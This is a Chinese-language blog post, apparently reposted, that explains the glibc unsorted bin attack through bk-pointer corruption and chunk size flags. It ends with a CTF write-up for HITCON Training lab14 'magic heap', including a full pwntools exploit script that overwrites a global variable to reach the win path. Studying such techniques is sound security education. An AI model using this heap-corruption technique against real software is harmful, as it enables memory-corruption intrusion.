Unsorted Bin Attack

在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

unsorted Bin Attack 的前提是unsorted Bin Chunk 的 bk 指针可控

我们可以修改bk(指向链表中下一个chunk)为 addr-2*size (size是一个单位大小,32/64程序为4/8)

来修改addr地址的值,能实现任意地址修改,但只能修改成较大的值

为什么是addr-2*size

一个完整的chunk

我们可以构造一个假的

如果我们修改链表中上一个chunk的bk指向addr-2*size 也就是prev_size

那么addr位置就对应到fd

当我们把上一个chunk拿走(其实是unsorted bin里面的最后一个,我们通过修改bk,构造了一个假的在其后,),unsorted bin 就会更新 进而将假chunk的fd更新为一个较大值

  unsorted bin的机制是 FIFO 即先进先出

  新的chunk放在链首位置,取出的时候从链尾开始遍历,直到找到大小符合的chunk,或者遍历完

  遍历过的chunk,如果没有被选中使用,就会转移到相应的bin中(也就是sorted了)

  unsorted bin以及其他类似的bin,可以看作是一个具有分类,标志性意义的chunk

  可以看出这里chunk的fd指针没有什么用,不过unsorted bin 链表可能就此破坏,如果再加入新的chunk到unsorted bin,就可能发生错误

所以假chunk的fd(addr)就会更新指向上上一个chunk的地址

因为unsorted bin的bk指向的是假chunk的上一个chunk 所以假chunk不会被遍历

然后讨论一下size的一些东西

size必须是2*SIZE_SZ的整数倍 ( SIZE_SZ 在32/64程序中为4/8)

不满足整数倍的size按小于size且最大的整数倍处理

所以不论是32还是64程序 size的低三个字节对size大小没有影响 且有特殊含义

它们从高到低分别表示为:

  NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。

  IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。

  PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。

题目

HITCON Training lab14 magic heap

目标是将magic的值改为大于0x1305

而且edit可以修改size

当所有bin里面都没有符合的chunk的时候,程序就会从topchunk里面分割相应大小的chunk出来

所以在程序开始我们连续申请chunk 得到的chunk地址应该是连续的

进而可以修改上一个chunk的size,content来修改该被释放的相邻位置的chunk的所有内容

代码中0x91的1就是最低位bit prev_inuse标志位

from pwn import *
io = process('./mag')
def add(size, content):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)
def edit(idx, size, content):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)
def cut(idx):
    io.recvuntil(":")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))

add(0x20,'0x20') # 0
add(0x80,'0x80') # 1
add(0x20,'0x20') # 2
cut(1)

prev_size=0
size=0x91
fd=0
bk=0x6020C0-0x10
payload='A'*0x20+p64(prev_size)+p64(size)+p64(fd)+p64(bk)
edit(0,0x20*2,payload)

add(0x80,'0x80')
io.recvuntil(":")
io.sendline("4869")
io.interactive()

原文地址:https://www.cnblogs.com/lxy8584099/p/12046442.html